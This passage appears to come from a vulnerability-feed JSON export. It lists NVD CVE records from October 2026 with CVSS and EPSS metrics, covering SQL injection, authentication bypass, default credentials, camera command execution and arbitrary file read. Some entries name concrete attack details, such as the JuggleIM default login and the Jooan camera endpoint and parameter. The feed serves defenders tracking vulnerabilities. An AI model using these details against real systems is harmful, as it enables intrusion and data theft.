to...","summary":"Wheels through 4.1.2 allows SQL injection on MySQL/MariaDB with backslash escaping enabled (NO_BACKSLASH_ESCAPES absent) when an application supplies request data to inline-literal paths. These include opt-in parameterize=false queries and IN lists, and positions in developer-written where strings that the parser does not bind, such as BETWEEN bounds, function arguments and LIKE ESCAPE literals. Doubling single quotes without accounting for backslash escapes allows a value to alter the query. Bound paths are not affected; whereBetween() is bound from 4.1.2. This is fixed in 4.2.0.","detail":"Wheels through 4.1.2 allows SQL injection on MySQL/MariaDB with backslash escaping enabled (NO_BACKSLASH_ESCAPES absent) when an application supplies request data to inline-literal paths. These include opt-in parameterize=false queries and IN lists, and positions in developer-written where strings that the parser does not bind, such as BETWEEN bounds, function arguments and LIKE ESCAPE literals. Doubling single quotes without accounting for backslash escapes allows a value to alter the query. Bound paths are not affected; whereBetween() is bound from 4.1.2. This is fixed in 4.2.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-16T04:18:30.353Z","updatedAt":"2026-10-16T15:19:36.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111444","asOf":"2026-10-16T15:19:36.177Z"},"epss":{"probability":0.00319,"percentile":0.24588,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111444&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111444","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111444","type":"primary","publishedAt":"2026-10-16T04:18:30.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111444&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111444, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-94134","cveId":"CVE-2026-94134","aliases":[],"kind":"vulnerability","title":"The Apache Airflow SSH provider hook disables SSH host-key verification by default: unless `host_key` is configured or `no_host_key_check` is explicitly set to false, it accepts...","summary":"The Apache Airflow SSH provider hook disables SSH host-key verification by default: unless `host_key` is configured or `no_host_key_check` is explicitly set to false, it accepts any server key. This affects SSH and SFTP connections that rely on the default. An attacker in a machine-in-the-middle position between the worker and the SSH or SFTP server can impersonate the server and capture the credentials or data a task sends.\n\nUsers of apache-airflow-providers-ssh and apache-airflow-providers-sftp are recommended to upgrade to apache-airflow-providers-ssh 7.0.0 and apache-airflow-providers-sftp 7.0.0 or later. The deferrable SFTP code paths had the same default and are covered separately by CVE-2026-94135; apache-airflow-providers-sftp 7.0.0 fixes both.","detail":"The Apache Airflow SSH provider hook disables SSH host-key verification by default: unless `host_key` is configured or `no_host_key_check` is explicitly set to false, it accepts any server key. This affects SSH and SFTP connections that rely on the default. An attacker in a machine-in-the-middle position between the worker and the SSH or SFTP server can impersonate the server and capture the credentials or data a task sends.\n\nUsers of apache-airflow-providers-ssh and apache-airflow-providers-sftp are recommended to upgrade to apache-airflow-providers-ssh 7.0.0 and apache-airflow-providers-sftp 7.0.0 or later. The deferrable SFTP code paths had the same default and are covered separately by CVE-2026-94135; apache-airflow-providers-sftp 7.0.0 fixes both.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:21:12.023Z","updatedAt":"2026-10-16T15:20:39.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-94134","asOf":"2026-10-16T15:20:39.130Z"},"epss":{"probability":0.006,"percentile":0.48402,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-94134&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-94134","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-94134","type":"primary","publishedAt":"2026-10-15T22:21:12.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-94134&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-94134, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111356","cveId":"CVE-2026-111356","aliases":[],"kind":"vulnerability","title":"MacCMS v10 through 2026.1000.4056 does not limit attempts on the six-digit password recovery code, allowing unauthenticated attackers to take over member accounts.","summary":"MacCMS v10 through 2026.1000.4056 does not limit attempts on the six-digit password recovery code, allowing unauthenticated attackers to take over member accounts. Attackers knowing a victim's email or phone can request a code and brute-force findpass_reset to overwrite the member's password.","detail":"MacCMS v10 through 2026.1000.4056 does not limit attempts on the six-digit password recovery code, allowing unauthenticated attackers to take over member accounts. Attackers knowing a victim's email or phone can request a code and brute-force findpass_reset to overwrite the member's password.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:33.647Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111356","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00448,"percentile":0.38701,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111356&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111356","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111356","type":"primary","publishedAt":"2026-10-15T22:19:33.647Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111356&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111356, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111329","cveId":"CVE-2026-111329","aliases":[],"kind":"vulnerability","title":"JuggleIM im-server through 1.8.16 ships default administrator credentials admin/123456 that allow unauthenticated remote attackers to access the admin console on port 8090.","summary":"JuggleIM im-server through 1.8.16 ships default administrator credentials admin/123456 that allow unauthenticated remote attackers to access the admin console on port 8090. Attackers can log in as administrator, even after account deletion since CheckLogin recreates it, to control tenant applications and app secrets.","detail":"JuggleIM im-server through 1.8.16 ships default administrator credentials admin/123456 that allow unauthenticated remote attackers to access the admin console on port 8090. Attackers can log in as administrator, even after account deletion since CheckLogin recreates it, to control tenant applications and app secrets.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:31.063Z","updatedAt":"2026-10-16T18:25:45.343Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111329","asOf":"2026-10-16T18:25:45.343Z"},"epss":{"probability":0.00688,"percentile":0.52434,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111329&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111329","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111329","type":"primary","publishedAt":"2026-10-15T22:19:31.063Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111329&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111329, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111322","cveId":"CVE-2026-111322","aliases":[],"kind":"vulnerability","title":"Archon 0.2.13 through 0.11.1 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* control API, which binds to 0.0.0.0 by...","summary":"Archon 0.2.13 through 0.11.1 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* control API, which binds to 0.0.0.0 by default. Attackers with network access can send messages to the AI coding agent, which runs with bypassPermissions, to execute commands on the host as the Archon user.","detail":"Archon 0.2.13 through 0.11.1 contains a missing authentication vulnerability that allows unauthenticated attackers to access the /api/* control API, which binds to 0.0.0.0 by default. Attackers with network access can send messages to the AI coding agent, which runs with bypassPermissions, to execute commands on the host as the Archon user.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:30.633Z","updatedAt":"2026-10-16T20:17:20.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111322","asOf":"2026-10-16T20:17:20.237Z"},"epss":{"probability":0.00892,"percentile":0.59178,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111322&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111322","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111322","type":"primary","publishedAt":"2026-10-15T22:19:30.633Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111322&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111322, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111312","cveId":"CVE-2026-111312","aliases":[],"kind":"vulnerability","title":"OpenHealth through 0.2.0 contains a missing authentication and authorization vulnerability in the /api/health-data/[id] GET, PATCH and DELETE handlers that query records by id...","summary":"OpenHealth through 0.2.0 contains a missing authentication and authorization vulnerability in the /api/health-data/[id] GET, PATCH and DELETE handlers that query records by id without session or authorId checks. Unauthenticated attackers who know a HealthData record id can read another user's medical record data and file metadata, overwrite it with arbitrary JSON, or delete it.","detail":"OpenHealth through 0.2.0 contains a missing authentication and authorization vulnerability in the /api/health-data/[id] GET, PATCH and DELETE handlers that query records by id without session or authorId checks. Unauthenticated attackers who know a HealthData record id can read another user's medical record data and file metadata, overwrite it with arbitrary JSON, or delete it.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:30.053Z","updatedAt":"2026-10-23T20:17:20.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111312","asOf":"2026-10-23T20:17:20.110Z"},"epss":{"probability":0.00589,"percentile":0.47868,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111312&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111312","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111312","type":"primary","publishedAt":"2026-10-15T22:19:30.053Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111312&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111312, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111283","cveId":"CVE-2026-111283","aliases":[],"kind":"vulnerability","title":"BMC Helix Network Management on-prem 26.3.00 before 26.3.01 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as the local...","summary":"BMC Helix Network Management on-prem 26.3.00 before 26.3.01 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as the local administrator with any password when SAML single sign-on is configured. Attackers can submit the administrator username with an arbitrary password on the web login page to obtain a SuperAdmin session, modify device credentials, run device commands, and alter audit records.","detail":"BMC Helix Network Management on-prem 26.3.00 before 26.3.01 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as the local administrator with any password when SAML single sign-on is configured. Attackers can submit the administrator username with an arbitrary password on the web login page to obtain a SuperAdmin session, modify device credentials, run device commands, and alter audit records.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:29.747Z","updatedAt":"2026-10-20T11:17:17.143Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111283","asOf":"2026-10-20T11:17:17.143Z"},"epss":{"probability":0.00766,"percentile":0.55209,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111283&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111283","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111283","type":"primary","publishedAt":"2026-10-15T22:19:29.747Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111283&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111283, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111281","cveId":"CVE-2026-111281","aliases":[],"kind":"vulnerability","title":"Jooan JA-A12 IP cameras with firmware 009_20171107 and 05.02.31.105 contain a remote code execution vulnerability that allows unauthenticated attackers to run root commands via...","summary":"Jooan JA-A12 IP cameras with firmware 009_20171107 and 05.02.31.105 contain a remote code execution vulnerability that allows unauthenticated attackers to run root commands via hard-coded credentials. Attackers send singleCMD=SetDiagMode to /goform/SingleHandlebyCommand with an attacker-chosen authserverip and authcode, making the jooandiag daemon execute their commands through /bin/sh, giving full device control.","detail":"Jooan JA-A12 IP cameras with firmware 009_20171107 and 05.02.31.105 contain a remote code execution vulnerability that allows unauthenticated attackers to run root commands via hard-coded credentials. Attackers send singleCMD=SetDiagMode to /goform/SingleHandlebyCommand with an attacker-chosen authserverip and authcode, making the jooandiag daemon execute their commands through /bin/sh, giving full device control.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T22:19:29.457Z","updatedAt":"2026-10-21T02:17:05.443Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111281","asOf":"2026-10-21T02:17:05.443Z"},"epss":{"probability":0.00561,"percentile":0.46366,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111281&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111281","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111281","type":"primary","publishedAt":"2026-10-15T22:19:29.457Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111281&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111281, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105039","cveId":"CVE-2026-105039","aliases":[],"kind":"vulnerability","title":"EnergizeLab station-middleware (NestJS) Docker images 1.6.5 through 1.8.2 do not check user roles on administrative APIs.","summary":"EnergizeLab station-middleware (NestJS) Docker images 1.6.5 through 1.8.2 do not check user roles on administrative APIs. Any authenticated low-privilege user can retrieve AI provider keys and change configuration and object-store contents.","detail":"EnergizeLab station-middleware (NestJS) Docker images 1.6.5 through 1.8.2 do not check user roles on administrative APIs. Any authenticated low-privilege user can retrieve AI provider keys and change configuration and object-store contents.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:04.587Z","updatedAt":"2026-10-16T20:17:18.590Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and containers"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105039","asOf":"2026-10-16T20:17:18.590Z"},"epss":{"probability":0.00293,"percentile":0.21675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105039&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105039","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105039","type":"primary","publishedAt":"2026-10-15T21:17:04.587Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105039&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105039, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105038","cveId":"CVE-2026-105038","aliases":[],"kind":"vulnerability","title":"The EnergizeLab Eilik and EilikO FastAPI AI inference and profiling services expose AI model administration functions without authentication.","summary":"The EnergizeLab Eilik and EilikO FastAPI AI inference and profiling services expose AI model administration functions without authentication. An unauthenticated remote attacker can change AI model configuration and switch the model in use at runtime.","detail":"The EnergizeLab Eilik and EilikO FastAPI AI inference and profiling services expose AI model administration functions without authentication. An unauthenticated remote attacker can change AI model configuration and switch the model in use at runtime.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:04.467Z","updatedAt":"2026-10-16T20:17:18.490Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105038","asOf":"2026-10-16T20:17:18.490Z"},"epss":{"probability":0.00646,"percentile":0.50682,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105038&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105038","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105038","type":"primary","publishedAt":"2026-10-15T21:17:04.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=4000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105038&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105038, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105037","cveId":"CVE-2026-105037","aliases":[],"kind":"vulnerability","title":"EnergizeLab station-middleware (NestJS) Docker images 1.6.5 through 1.8.2 allow any registered, low-privilege account to read arbitrary files from the server by supplying an...","summary":"EnergizeLab station-middleware (NestJS) Docker images 1.6.5 through 1.8.2 allow any registered, low-privilege account to read arbitrary files from the server by supplying an attacker-controlled file path. This exposes middleware files and server secrets.","detail":"EnergizeLab station-middleware (NestJS) Docker images 1.6.5 through 1.8.2 allow any registered, low-privilege account to read arbitrary files from the server by supplying an attacker-controlled file path. This exposes middleware files and server secrets.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T21:17:04.350Z","updatedAt":"2026-10-16T20:17:18.330Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Docker and 